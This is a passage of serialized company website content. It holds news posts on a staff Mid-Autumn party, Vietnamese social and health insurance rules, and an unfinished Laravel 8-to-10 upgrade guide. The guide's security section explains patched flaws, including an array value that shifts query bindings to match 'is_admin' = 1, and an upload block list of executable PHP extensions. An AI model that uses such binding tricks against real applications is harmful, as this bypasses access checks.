6,"src":18949,"style":506},[441,442],"\n   ",[438,18978],{"className":18979,"alt":66,"src":18955,"style":1894},[441,442],[765,18981,4371,18983,4371,18986],{"className":18982,"style":7038},[7037],[438,18984],{"className":18985,"alt":66,"src":18963,"style":506},[441,442],[438,18987],{"className":18988,"alt":66,"src":18969,"style":506},[441,442],[11,18990,18991],{},"The atmosphere became more bustling when everyone enjoyed a light party with delicious cakes, fruits and cool drinks, creating close and happy moments.",[765,18993,4371,18995,4371,18999],{"className":18994,"style":7038},[7107],[438,18996],{"className":18997,"alt":66,"src":18998,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134742\u002FIMG_7958-1-768x1024.jpg",[438,19000],{"className":19001,"alt":66,"src":19002,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133153\u002FIMG_7942-768x1024.jpg",[765,19004,4371,19006,4371,19010],{"className":19005,"style":7038},[7037],[438,19007],{"className":19008,"alt":66,"src":19009,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134729\u002FIMG_7945-768x1024.jpg",[438,19011],{"className":19012,"alt":66,"src":19013,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133246\u002FIMG_7947-768x1024.jpg",[11,19015,19016],{},"During the party, the mini game became a highlight as it filled the whole space with laughter and the excitement of the participants.",[11,19018,19019,507,19023],{},[438,19020],{"className":19021,"alt":66,"src":19022,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134753\u002FIMG_7963-1-768x576.jpg",[438,19024],{"className":19025,"alt":66,"src":19026,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134758\u002FIMG_7964-1-768x576.jpg",[11,19028,19029],{},"Lovely little gifts were given to the winning team, bringing joy and contributing to team spirit.",[11,19031,19032,19036,507,19038],{},[438,19033],{"className":19034,"alt":66,"src":19035,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133038\u002FIMG_7938-768x576.jpg",[473,19037],{},[438,19039],{"className":19040,"alt":66,"src":19041,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134804\u002FIMG_7969-1-768x576.jpg",[11,19043,19044],{},"The event wrapped up with joyful energy and photos capturing memorable moments. ",[11,19046,19047],{},"This year's Mid-Autumn Festival was another beautiful memory in Briswell's journey together.",{"title":66,"searchDepth":67,"depth":67,"links":19049},[],"2025-10-06","In the lively ambiance of the Mid-Autumn Festival, Briswell held a warm party for all staff. The mooncakes were thoughtfully given to everyone as a wish for peace and sweetness. The atmosphere became more bustling when everyone enjoyed a light party with delicious cakes, fruits and cool drinks, creating close and happy moments. During the party, the mini game became a highlight as it filled the whole space with laughter and the excitement of the participants.",{},"\u002Fnews\u002Ftet-trung-thu-nam-2025",{"title":18935,"description":19051},"news\u002Ftet-trung-thu-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06145019\u002FBlue-Illustrations-Mid-Autumn-Festival-Instagram-Post.png","z_fU-RmwrkJIIWjGQ3LQi97KfhoKjHQ8ocX_nXDhFCY",{"id":19059,"title":19060,"body":19061,"category":69,"created by":70,"date":19100,"description":19101,"extension":72,"meta":19102,"navigation":74,"path":19103,"sections":76,"seo":19104,"stem":19105,"thumbnail":19106,"__hash__":19107},"content_en\u002Fnews\u002Ftham-gia-bhxh-tu-nguyen-duoc-huong-tro-cap-mai-tang-hay-tro-cap-tu-tuat.md","PARTICIPATING IN VOLUNTARY SOCIAL INSURANCE ENTITLED TO FUNERAL ALLOWANCE OR SURVIVORSHIP ALLOWANCE",{"type":8,"value":19062,"toc":19098},[19063,19066,19073,19076,19079,19086,19089,19092,19095],[11,19064,19065],{},"When employees participate in voluntary social insurance.",[11,19067,19068],{},[20,19069,19070],{},[51,19071,19072],{},"1. About funeral allowance:",[11,19074,19075],{},"According to Point b, Clause 2, Article 8, Decree 134 \u002F ND-CP dated 29\u002F12\u002F2015 providing for the conditions for entitlement to funeral allowance when: \"Voluntary social insurance participants have the benefit period from full 60 months or more\".",[11,19077,19078],{},"If a voluntary social insurance participant chooses the one-time payment method for 05 years but unfortunately within less than 5 years, he\u002Fshe dies, their relatives are not eligible for the funeral allowance.",[11,19080,19081],{},[20,19082,19083],{},[51,19084,19085],{},"2. About one-time survivorship allowance:",[11,19087,19088],{},"At Point b, Clause 4, Article 7, Circular 01 \u002F TT-BLDTBXH dated 18\u002F02\u002F2016 of the Ministry of Labor - Invalids and Social Affairs detailing and guiding the implementation of a number of articles of The Law on Voluntary Social Insurance states: \"The one-time survivorship allowance rate is specified in Clause 2, Article 81 of the Law on Social Insurance\".",[11,19090,19091],{},"In Clause 2 Article 81, the Law on Social Insurance 2014 stipulates: “The one-time survivorship allowance rate for a relative of an employee who is paying social insurance or is reserving the time of social insurance payment is calculated according to the number of years of social insurance payment, each year is equal to 1.5 months of the average monthly income paid for social insurance, specified in Article 79 of this Law for the years of social insurance payment before 2014; equal to 02 months for the years of payment from 2014 onwards.",[11,19093,19094],{},"For employees who have paid social insurance premiums for less than one year, the one-time survivorship allowance equal to the paid amount but the maximum level is equal to 02 months of the average monthly income paid for social insurance; in case the employee has both the compulsory and voluntary social insurance payment period, the minimum level of entitlement to one-time survivorship allowance is equal to 3-month average salary and monthly income paid for social insurance.”",[11,19096,19097],{},"Thus, in this case, the relative of a voluntary social insurance participant will be entitled to a one-time survivorship allowance.",{"title":66,"searchDepth":67,"depth":67,"links":19099},[],"2021-06-18","When employees participate in voluntary social insurance. About funeral allowance: According to Point b, Clause 2, Article 8, Decree 134 \u002F ND-CP dated 29\u002F12\u002F2015 providing for the conditions for entitlement to funeral allowance when: 'Voluntary social insurance participants have the benefit period from full 60 months or more'.",{},"\u002Fnews\u002Ftham-gia-bhxh-tu-nguyen-duoc-huong-tro-cap-mai-tang-hay-tro-cap-tu-tuat",{"title":19060,"description":19101},"news\u002Ftham-gia-bhxh-tu-nguyen-duoc-huong-tro-cap-mai-tang-hay-tro-cap-tu-tuat","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11163422\u002FTroCapTuTuatHayMaiTang.png","T41Mo5gHGER_0iDLGWUI_28NU-AAwz2BKFDXTdrNGcg",{"id":19109,"title":19110,"body":19111,"category":69,"created by":70,"date":19127,"description":19115,"extension":72,"meta":19128,"navigation":74,"path":19129,"sections":76,"seo":19130,"stem":19131,"thumbnail":19132,"__hash__":19133},"content_en\u002Fnews\u002Fthanh-lap-bhxh-thanh-pho-thu-duc.md","THE ESTABLISHMENT OF THE SOCIAL INSURANCE AGENCY OF THU DUC CITY",{"type":8,"value":19112,"toc":19125},[19113,19116,19119,19122],[11,19114,19115],{},"On January 22nd, 2021, the General Director of Vietnam Social Insurance signed Decision No. 128 \u002F QD-BHXH on the establishment of the social insurance agency of Thu Duc city and assigned management staff to continue the activities of the industry, together with ensuring social security activities in newly established areas.",[11,19117,19118],{},"The decision on the establishment is based on the merger of the social insurance agency of District 2, District 9 and District Thu Duc directly under the social insurance agency of Ho Chi Minh City. Thu Duc City social insurance agency has legal status, its own seal, account, and its head office is located in Thu Duc city. ",[11,19120,19121],{},"The functions, tasks, powers and organizational structure of the social insurance agency of Thu Duc city comply with the provisions of Decision No. 969 \u002F QD-BHXH dated July 29, 2019 of the General Director of Vietnam Social Insurance.",[11,19123,19124],{},"The decision takes effect from February 1st, 2021.",{"title":66,"searchDepth":67,"depth":67,"links":19126},[],"2021-05-28",{},"\u002Fnews\u002Fthanh-lap-bhxh-thanh-pho-thu-duc",{"title":19110,"description":19115},"news\u002Fthanh-lap-bhxh-thanh-pho-thu-duc","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F22092351\u002FThanhLapBHXHTPThuDuc.png","-ajkarovW2-vAFm0WNfk7z7paeAzG4NmsCJlSfNDVrE",{"id":19135,"title":19136,"body":19137,"category":69,"created by":70,"date":19234,"description":19141,"extension":72,"meta":19235,"navigation":74,"path":19236,"sections":76,"seo":19237,"stem":19238,"thumbnail":19239,"__hash__":19240},"content_en\u002Fnews\u002Fthong-tin-ve-dieu-kien-doi-tuong-thu-tuc-noi-cap-doi-the-bhyt-mau-moi.md","INFORMATION ON CONDITIONS, SUBJECTS, PROCEDURES, PLACE OF ISSUANCE - CHANGE OF NEW HEALTH INSURANCE CARD",{"type":8,"value":19138,"toc":19232},[19139,19142,19147,19150,19155,19158,19169,19172,19177,19180,19197,19200,19206,19209,19216,19219,19222,19227],[11,19140,19141],{},"From 01\u002F04\u002F2021, a new form of health insurance card will be applied nationwide according to Decision No. 1666 of Vietnam Social Security. Here are some frequently asked questions around applying the new card template.",[11,19143,19144],{},[20,19145,19146],{},"1. When will a new model health insurance card be issued?",[11,19148,19149],{},"When the local social insurance agencies use up the old template health insurance cards, they will issue a new form of health insurance cards.",[11,19151,19152],{},[20,19153,19154],{},"2. Who is the new form health insurance card issued to?",[11,19156,19157],{},"After the social insurance agencies of the provinces use up the old template health insurance cards, a new form of health insurance cards shall be issued for the following cases:",[31,19159,19160,19163,19166],{},[34,19161,19162],{},"New participants in health insurance.",[34,19164,19165],{},"The participant lost his\u002Fher health insurance card.",[34,19167,19168],{},"The participant has torn, damaged or changed the information on the health insurance card.",[11,19170,19171],{},"* Note: During the transition from the old model health insurance card to the new one, those who are using the old model health insurance card with expiry date can continue to use it for medical examination and treatment covered by health insurance and extend the validity of the health insurance card on the management database, do not print or change the health insurance card (except for the cases mentioned above).",[11,19173,19174],{},[20,19175,19176],{},"3. Where to receive an application for new\u002Fre-issue of health insurance card",[11,19178,19179],{},"a) At the social insurance agency in the following cases:",[31,19181,19182,19185,19188,19191,19194],{},[34,19183,19184],{},"Persons whose health insurance premiums are paid by the social insurance organization.",[34,19186,19187],{},"Persons receiving partial support from the state budget for health insurance premiums.",[34,19189,19190],{},"Participants in health insurance according to households.",[34,19192,19193],{},"Persons receiving unemployment benefits that need to change their health insurance cards.",[34,19195,19196],{},"People who have donated body organs.",[11,19198,19199],{},"b) At the agent collecting social insurance and health insurance in the following cases:",[31,19201,19202,19204],{},[34,19203,19187],{},[34,19205,19190],{},[11,19207,19208],{},"c) At the Commune People's Committee in the following cases:",[31,19210,19211,19214],{},[34,19212,19213],{},"People whose health insurance premiums are paid by the state budget.",[34,19215,19184],{},[11,19217,19218],{},"d) At the enterprise: The participants of health insurance pay at the enterprise and submit the application to the employer.",[11,19220,19221],{},"e) School: Students, students pay health insurance according to the school, submit the application to the school.",[11,19223,19224],{},[20,19225,19226],{},"4. What are the registration procedures and documents when changing the card?",[31,19228,19229],{},[34,19230,19231],{},"Declaration of participation and adjustment of information on social insurance and health insurance (Form TK1-TS).",{"title":66,"searchDepth":67,"depth":67,"links":19233},[],"2021-07-02",{},"\u002Fnews\u002Fthong-tin-ve-dieu-kien-doi-tuong-thu-tuc-noi-cap-doi-the-bhyt-mau-moi",{"title":19136,"description":19141},"news\u002Fthong-tin-ve-dieu-kien-doi-tuong-thu-tuc-noi-cap-doi-the-bhyt-mau-moi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F02084430\u002FDieuKien-DoiTuong-ThuTuc-NoiCapDoiTheBHYT.png","yDm562ECvxjWLWXMZLO64aGxECb1Jaqp6KHGxbJi_Gk",{"id":19242,"title":19243,"body":19244,"category":1319,"created by":70,"date":20425,"description":20426,"extension":72,"meta":20427,"navigation":74,"path":20428,"sections":76,"seo":20429,"stem":20430,"thumbnail":20431,"__hash__":20432},"content_en\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10.md","From Laravel 8 to Laravel 10 - A migration guide and new features introduction",{"type":8,"value":19245,"toc":20374},[19246,19250,19253,19262,19266,19272,19287,19291,19299,19303,19306,19310,19314,19317,19323,19326,19330,19342,19346,19355,19361,19364,19368,19372,19379,19383,19387,19394,19398,19402,19405,19409,19413,19416,19420,19429,19436,19440,19444,19447,19451,19455,19462,19466,19470,19473,19476,19480,19484,19487,19491,19495,19498,19502,19506,19513,19517,19521,19535,19539,19552,19556,19559,19563,19571,19573,19577,19581,19591,19595,19602,19606,19626,19632,19635,19641,19643,19646,19648,19654,19658,19661,19665,19671,19674,19681,19687,19696,19702,19710,19716,19733,19739,19745,19748,19753,19759,19764,19767,19772,19778,19784,19791,19797,19802,19814,19819,19822,19827,19830,19836,19842,19845,19851,19862,19868,19874,19881,19887,19891,19897,19900,19904,19910,19916,19922,19928,19939,19945,19949,19952,19954,19958,19961,19965,19968,19993,20010,20016,20036,20050,20057,20063,20066,20070,20079,20085,20089,20098,20104,20107,20113,20117,20120,20126,20129,20135,20139,20162,20166,20179,20183,20195,20199,20202,20208,20212,20225,20231,20234,20240,20243,20247,20250,20256,20260,20263,20266,20272,20275,20281,20285,20288,20294,20299,20302,20307,20310,20316,20319,20324,20328],[403,19247,19249],{"id":19248},"why-should-you-migrate-from-laravel-8","Why should you migrate from Laravel 8?",[11,19251,19252],{},"Laravel's new version is now released yearly. Changes such as deprecated features and new features keep coming up. Therefore, the more versions ahead from the latest version you are, the more \"painful\" and time-consuming it is to upgrade compared with upgrading regularly. The main reason for this is that you let your codebase grow too large (classes, methods, and functions become more and more dependent on the others), and it is much harder to make any breaking change. Another thing you should be aware of is that since Laravel 10 was released, Laravel 8 is neither in maintenance nor has support. Therefore, the sooner your project gets upgraded, the better things will be.",[11,19254,19255,19256,19261],{},"In this blog, we will show you how to upgrade your project from Laravel 8 to Laravel 10. This guide is about manual upgradation. Therefore, if you want an automated solution, you should consider using the ",[55,19257,19260],{"href":19258,"rel":19259},"https:\u002F\u002Flaravelshift.com\u002F",[59],"Laravel Shift"," (this is not a free service).",[395,19263,19265],{"id":19264},"laravel-10s-new-features-introduction","Laravel 10's new features introduction:",[403,19267,12284,19269],{"id":19268},"_1-laravel-pennant",[20,19270,19271],{},"Laravel Pennant:",[11,19273,19274,19275,19278,19279,19282,19283,19286],{},"This is a new package that ships with Laravel 10. It provides a ",[20,19276,19277],{},"feature flag"," function to your application. When you flag a feature, that feature will be considered available or unavailable. Let's say your application has a ",[51,19280,19281],{},"\"meeting booking\" feature",", and this feature is ",[51,19284,19285],{},"only available for users whose role is \"boss\"",". You might manage that feature availability like the below:",[438,19288],{"className":19289,"alt":66,"src":19290,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30160709\u002Flaravel-pennant-768x435.png",[11,19292,19293,19294,878],{},"For more information, please check the ",[55,19295,19298],{"href":19296,"rel":19297},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fpennant",[59],"Laravel Pennant documentation",[403,19300,19302],{"id":19301},"_2-process-interaction","2. Process Interaction:",[11,19304,19305],{},"Laravel 10.x introduces a beautiful abstraction layer for starting and interacting with external processes via a new Process facade. You can execute commands in your application or fake for convenient testing, etc.:",[438,19307],{"className":19308,"alt":66,"src":19309,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30161252\u002Fprocess-call-768x375.png",[403,19311,19313],{"id":19312},"_3-test-profiling","3. Test Profiling:",[11,19315,19316],{},"The Artisan test command has received a new --profile option that allows you to easily identify the fastest or slowest tests in your application:",[605,19318,19321],{"className":19319,"code":19320,"language":610},[608],"php artisan test --profile\n",[612,19322,19320],{"__ignoreMap":66},[11,19324,19325],{},"For convenience, the slowest tests will be displayed directly within the CLI output:",[438,19327],{"className":19328,"alt":66,"src":19329,"style":1894},[441,442],"https:\u002F\u002Fuser-images.githubusercontent.com\u002F5457236\u002F217328439-d8d983ec-d0fc-4cde-93d9-ae5bccf5df14.png",[11,19331,19333,19334,15157],{"className":19332},[2464,2465,2466,2467,2468],"\n  (src:\n  ",[55,19335,19341],{"href":19336,"target":19337,"rel":19338},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases#test-profiling","_blank",[19339,19340],"noopener","noreferrer","\n    https:\u002F\u002Flaravel.com\u002F\n  ",[403,19343,19345],{"id":19344},"_4-pest-scaffolding","4. Pest Scaffolding:",[11,19347,19348,19349,19354],{},"Pest is a PHP testing framework provided by  PHPUnit. And Laravel has now supported testing with Pest. New Laravel projects may now be created with ",[55,19350,19353],{"href":19351,"rel":19352},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases#pest-scaffolding",[59],"Pest test scaffolding"," by default. To opt-in to this feature, provide the --pest flag when creating a new application via the Laravel installer:",[605,19356,19359],{"className":19357,"code":19358,"language":610},[608],"laravel new example-application --pest\n",[612,19360,19358],{"__ignoreMap":66},[19362,19363],"hr",{},[395,19365,19367],{"id":19366},"laravel-9s-new-features-introduction","Laravel 9's new features introduction:",[403,19369,19371],{"id":19370},"_1-simplified-accessors-and-mutators","1. Simplified Accessors and Mutators:",[11,19373,19374,19375,19378],{},"\"Accessors and Mutators\" are also called \"getters and setters\". In Laravel, traditionally, you add a prefix to the attribute name like the one below to declare a \"getter or setter\". The ",[51,19376,19377],{},"getXAttribute() and setXAttribute()"," API for declaring accessors and mutators is not going away; However, there's a new, simplified approach that will be recommended going forward:",[438,19380],{"className":19381,"alt":66,"src":19382,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162149\u002Fgetter-setter-declartion.png",[403,19384,19386],{"id":19385},"_2-enum-attribute-casting","2. Enum Attribute Casting:",[11,19388,19389,19390,19393],{},"Now that PHP 8 offers ",[51,19391,19392],{},"enum"," class support. Therefore, Laravel 9 has been updated to include Eloquent attribute casting to and from an enum object. For example, you can now declare and use an enum like the below:",[438,19395],{"className":19396,"alt":66,"src":19397,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162343\u002Fenum-768x786.png",[403,19399,19401],{"id":19400},"_3-implicit-route-bindings-with-enums","3. Implicit Route Bindings With Enums:",[11,19403,19404],{},"This feature allows you to bind a request's parameter with an enum. Let's say you declare an enum, and then you are binding it like below. With this binding, any request that passes a value that is not a valid enum will lead to an HTTP 404 response. This is convenient since you no longer have to check it in controllers:",[438,19406],{"className":19407,"alt":66,"src":19408,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162513\u002Froute-enum-768x360.png",[403,19410,19412],{"id":19411},"_4-forced-scoping-of-route-bindings","4. Forced Scoping Of Route Bindings:",[11,19414,19415],{},"In previous releases of Laravel, you can scope the second Eloquent model in a route definition such that it must be a child of the previous Eloquent model. For example, consider this route definition that retrieves a blog post by slug for a specific user:",[438,19417],{"className":19418,"alt":66,"src":19419,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162851\u002Fscope-biding-1-768x195.png",[11,19421,19422,19423,19428],{},"When you declare the route as above, Laravel will try to determine the foreign key base on the predefined set of rules called conventions. But first, you must define the ",[55,19424,19427],{"href":19425,"rel":19426},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Frouting#implicit-model-binding-scoping",[59],"custom key binding"," for :slug; otherwise, Laravel will not acknowledge that there is a second model binding required.",[11,19430,19431,19432,19435],{},"However, in the newer version, you only have to invoke the ",[51,19433,19434],{},"scopeBindings()",", and it works the same:",[438,19437],{"className":19438,"alt":66,"src":19439,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163001\u002Fscope-biding-2-1024x443.png",[403,19441,19443],{"id":19442},"_5-controller-route-groups","5. Controller Route Groups:",[11,19445,19446],{},"You can now group routes by a controller like the one below:",[438,19448],{"className":19449,"alt":66,"src":19450,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163135\u002Fcontroller-route-gr-768x171.png",[403,19452,19454],{"id":19453},"_6-full-text-indexes-where-clauses","6. Full-Text Indexes \u002F Where Clauses:",[11,19456,19457,19458,19461],{},"You could use new methods like ",[51,19459,19460],{},"whereFullText(), orWhereFullText()"," to perform full-text search query:",[438,19463],{"className":19464,"alt":66,"src":19465,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163247\u002Ffull-text-search.png",[403,19467,19469],{"id":19468},"_7-laravel-scout-database-engine","7. Laravel Scout Database Engine:",[11,19471,19472],{},"The main purpose of Laravel Scout is to simplify the full-text search process of your project. It is a driver-based solution so that you can work with many different engines, such as Elasticsearch, Algolia, MeiliSearch, and MySQL. PostgreSQL,... using the Scout API.",[11,19474,19475],{},"The idea is to make a search() method available to use for your Eloquent model. Also, it automatically performs indexing when the data is written. Keep in mind that the search() method is not supported complex queries like Elasticsearch DSL; therefore, Scout is only suitable for small or medium projects. Have a look at the below snippet:",[438,19477],{"className":19478,"alt":66,"src":19479,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163504\u002Fscout-768x279.png",[403,19481,19483],{"id":19482},"_8-rendering-inline-blade-templates","8. Rendering Inline Blade Templates:",[11,19485,19486],{},"Instead of defining your template in a .blade.php file, you can simply render it within a call to Blade::render(). This is very useful when you need to make an AJAX call to retrieve a partial view for your SPA application.",[438,19488],{"className":19489,"alt":66,"src":19490,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163626\u002Finline-blade-768x279.png",[403,19492,19494],{"id":19493},"_9-slot-name-shortcut","9. Slot Name Shortcut:",[11,19496,19497],{},"In previous releases of Laravel, slot names were provided using a name attribute on the x-slot tag. However, beginning in Laravel 9.x, you may specify the slot's name using a convenient, shorter syntax:",[438,19499],{"className":19500,"alt":66,"src":19501,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163803\u002Fslot-name.png",[403,19503,19505],{"id":19504},"_10-improved-validation-of-nested-array-data","10. Improved Validation Of Nested Array Data:",[11,19507,19508,19509,19512],{},"Sometimes you may need to access the value for a given nested array element when assigning validation rules to the attribute. You may now accomplish this using the ",[51,19510,19511],{},"Rule::forEach()"," method.",[438,19514],{"className":19515,"alt":66,"src":19516,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163940\u002Fvalidation-ar-768x255.png",[403,19518,19520],{"id":19519},"_11-laravel-breeze-api-nextjs","11. Laravel Breeze API & Next.js:",[11,19522,14684,19523,19528,19529,19534],{},[55,19524,19527],{"href":19525,"rel":19526},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Fstarter-kits#breeze-and-next",[59],"Laravel Breeze"," starter kit has received an \"API\" scaffolding mode and complimentary ",[55,19530,19533],{"href":19531,"rel":19532},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Fbreeze-next",[59],"Next.js frontend implementation",". This starter kit scaffolding may be used to jump-start your Laravel applications that are serving as a backend, Laravel Sanctum authenticated API for a JavaScript frontend.",[403,19536,19538],{"id":19537},"_12-bundling-with-vite","12. Bundling with Vite:",[11,19540,19541,19542,19547,19548,878],{},"Besides new features, bundling your project assets in Laravel is now migrated from using ",[55,19543,19546],{"href":19544,"rel":19545},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fmix#main-content",[59],"Mix webpack"," to Vite. You can check it at the official docs of Laravel ",[55,19549,1153],{"href":19550,"rel":19551},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvite#main-content",[59],[403,19553,19555],{"id":19554},"_13-improved-ignition-exception-page","13. Improved Ignition Exception Page:",[11,19557,19558],{},"The exception debug page has been redesigned from the ground up. The new, improved will help you debug easier and more efficiently:",[438,19560],{"className":19561,"alt":66,"src":19562,"style":1894},[441,442],"https:\u002F\u002Fuser-images.githubusercontent.com\u002F483853\u002F149235404-f7caba56-ebdf-499e-9883-cac5d5610369.png",[11,19564,19333,19566,15157],{"className":19565},[2464,2465,2466,2467,2468],[55,19567,19570],{"href":19568,"target":19337,"rel":19569},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases#exception-page",[19339,19340],"\n    https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases#exception-page\n  ",[19362,19572],{},[395,19574,19576],{"id":19575},"vulnerabilities-in-security-that-are-covered-by-the-newer-version","Vulnerabilities in security that are covered by the newer version:",[565,19578,19580],{"id":19579},"blocking-of-the-upload-of-phar-content","Blocking of the upload of .phar content:",[11,19582,19583,19584,19587,19588,878],{},"When you upload executable PHP files, they are blocked by Laravel for security purposes, including ",[612,19585,19586],{},"'.php', '.php3', '.php4', '.php5', '.php7', '.php8', '.phtml'"," files. And Laravel has now included the missing extension ",[612,19589,19590],{},"'.phar'",[565,19592,19594],{"id":19593},"sql-injection-in-sql-server","SQL Injection in SQL Server:",[11,19596,19597,19598,19601],{},"Laravel has now covered a vulnerability that opens for SQL Injection attacks when passing user input directly to the ",[612,19599,19600],{},"limit() and offset()"," functions of SQL Server (Other database drivers such as MySQL and Postgres are not affected by this vulnerability).",[565,19603,19605],{"id":19604},"sql-injection-binding-query-parameter-using-an-array","SQL Injection - Binding query parameter using an array:",[11,19607,19608,19609,19612,19613,19615,19616,19618,19619,19622,19623,19512],{},"The below code has a vulnerability that could lead to a SQL Injection attack. Because the binding value of ",[612,19610,19611],{},"is_admin"," would-be ",[612,19614,308],{}," instead ",[612,19617,10667],{},". This happens due to the false binding when passing an array ",[612,19620,19621],{},"$value = [1,1]"," to the ",[612,19624,19625],{},"where()",[605,19627,19630],{"className":19628,"code":19629,"language":610},[608],"User::where('id', [1,1])->where('is_admin', 0)->first();\n\u002F\u002F sql: select * from `users` where `id` = 1 and `is_admin` = 1\n",[612,19631,19629],{"__ignoreMap":66},[11,19633,19634],{},"But this has now been covered in the update. The query string will now be like this:",[605,19636,19639],{"className":19637,"code":19638,"language":610},[608],"\u002F\u002F sql: select * from `users` where `id` = 1 and `is_admin` = 0\n",[612,19640,19638],{"__ignoreMap":66},[19362,19642],{},[11,19644,19645],{},"In the above section, we have talked about Laravel 9 and Laravel 10 new features, and the security vulnerabilities are covered. Next, let us show you how to upgrade your Laravel project from version 8 to 10.",[19362,19647],{},[395,19649,19651],{"id":19650},"migrate-your-project-from-laravel-8-to-laravel-10",[20,19652,19653],{},"Migrate your project from Laravel 8 to Laravel 10:",[403,19655,19657],{"id":19656},"upgrade-to-php-810-composer-220","Upgrade to PHP 8.1.0 & Composer 2.2.0:",[11,19659,19660],{},"Since Laravel 10 requires at least PHP 8.1.0, you must upgrade to PHP 8.1.0. Also, you must upgrade Composer to 2.2.0 or greater. This is a very crucial step. You must complete it before proceeding to the next section.",[403,19662,19664],{"id":19663},"make-changes-to-your-dependencies-in-composerjson","Make changes to your dependencies in composer.json:",[565,19666,19668],{"id":19667},"a-packages-version-upgrade",[20,19669,19670],{},"a. Packages version upgrade:",[11,19672,19673],{},"Below are packages that need to update to newer versions. Follow the instruction to update them.",[11,19675,19676,19677,19680],{},"In your ",[51,19678,19679],{},"composer.json",", change the version of these items as the following:",[605,19682,19685],{"className":19683,"code":19684,"language":610},[608],"{\n  \"require\": {\n    \"php\": \"^8.1\",\n    \"laravel\u002Fframework\": \"^10.0\",\n    \"laravel\u002Fsanctum\": \"^3.2\",\n    \"doctrine\u002Fdbal\": \"^3.0\",\n    \"laravel\u002Fpassport\": \"^11.0\"\n  },\n  \"require-dev\": {\n    \"nunomaduro\u002Fcollision\": \"^6.1\",\n    \"spatie\u002Flaravel-ignition\": \"^2.0\"\n  }\n}\n",[612,19686,19684],{"__ignoreMap":66},[11,19688,19689,19690,19695],{},"If your project uses the ",[55,19691,19694],{"href":19692,"rel":19693},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fbroadcasting#pusher-channels",[59],"Broadcasting"," feature, you must also change this item 